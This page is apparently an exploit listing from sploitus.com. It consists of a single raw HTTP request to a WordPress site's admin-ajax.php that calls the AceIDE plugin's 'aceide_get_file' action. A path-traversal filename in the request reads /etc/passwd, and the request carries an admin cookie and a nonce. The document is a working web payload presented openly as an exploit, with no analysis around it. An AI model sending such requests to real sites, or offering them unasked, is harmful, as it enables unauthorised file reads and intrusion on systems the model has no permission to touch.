Share
## https://sploitus.com/exploit?id=WPEX-ID:C594ABAF-B152-448C-8A20-9B3267FE547A
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 99
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://example.com/wp-admin/admin.php?page=aceide
Accept-Language: en-US,en;q=0.9
Cookie: [admin+]
Connection: close

action=aceide_get_file&filename=../../../../../etc/passwd&_wpnonce=26b6f841c9